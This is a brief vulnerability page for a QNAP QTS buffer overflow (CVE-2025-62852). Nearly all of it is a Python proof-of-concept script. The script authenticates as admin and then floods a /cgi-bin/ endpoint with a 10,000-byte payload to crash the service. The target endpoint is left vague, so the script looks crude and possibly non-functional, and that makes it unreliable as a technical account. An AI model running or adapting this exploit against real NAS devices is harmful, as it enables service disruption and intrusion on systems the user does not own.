QNAP QTS缓冲区溢出漏洞(CVE-2025-62852)

# CVE-2025-62852 PoC - QNAP QTS Buffer Overflow # Note: This is a conceptual PoC for educational purposes only import requests import sys target = "http://target-ip:8080" def exploit_buffer_overflow(target_ip): """ Construct malicious payload to trigger buffer overflow Requires administrator authentication """ # Authentication with admin credentials session = requests.Session() login_url = f"{target_ip}/cgi-bin/authLogin.cgi" auth_data = { "username": "admin", "password": "admin_password" } # Login attempt login_response = session.post(login_url, data=auth_data) if login_response.status_code != 200: print("[-] Authentication failed") return False # Construct overflow payload # Target specific vulnerable endpoint vulnerable_endpoint = f"{target_ip}/cgi-bin/" # Large payload to trigger overflow overflow_payload = "A" * 10000 exploit_data = { "buffer_data": overflow_payload, "action": "modify" } try: response = session.post(vulnerable_endpoint, data=exploit_data, timeout=10) print(f"[*] Exploit sent, response status: {response.status_code}") return True except Exception as e: print(f"[*] Exploit triggered crash: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62852_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] exploit_buffer_overflow(target_ip)